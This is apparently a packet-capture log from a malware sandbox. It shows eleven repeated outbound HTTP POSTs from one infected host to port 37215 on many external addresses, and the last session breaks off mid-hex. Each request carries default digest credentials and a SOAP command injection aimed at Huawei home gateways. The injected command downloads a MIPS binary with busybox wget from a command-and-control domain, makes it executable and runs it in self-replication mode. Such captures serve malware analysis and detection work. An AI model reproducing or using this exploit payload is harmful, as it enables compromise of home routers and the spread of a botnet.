Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	45018	156.162.192.34	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579334021 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	44806	156.42.44.35	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579355001 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	46026	41.180.77.119	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579413891 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	56200	41.252.234.209	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579453945 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	58762	197.89.192.144	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579468012 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	52922	197.239.232.194	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579487085 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	50714	41.52.224.118	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579509020 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	59300	197.129.1.124	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579535961 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	60216	41.160.80.78	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579554081 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	57240	156.94.26.172	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579591036 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	48200	156.251.150.222	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579611063 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 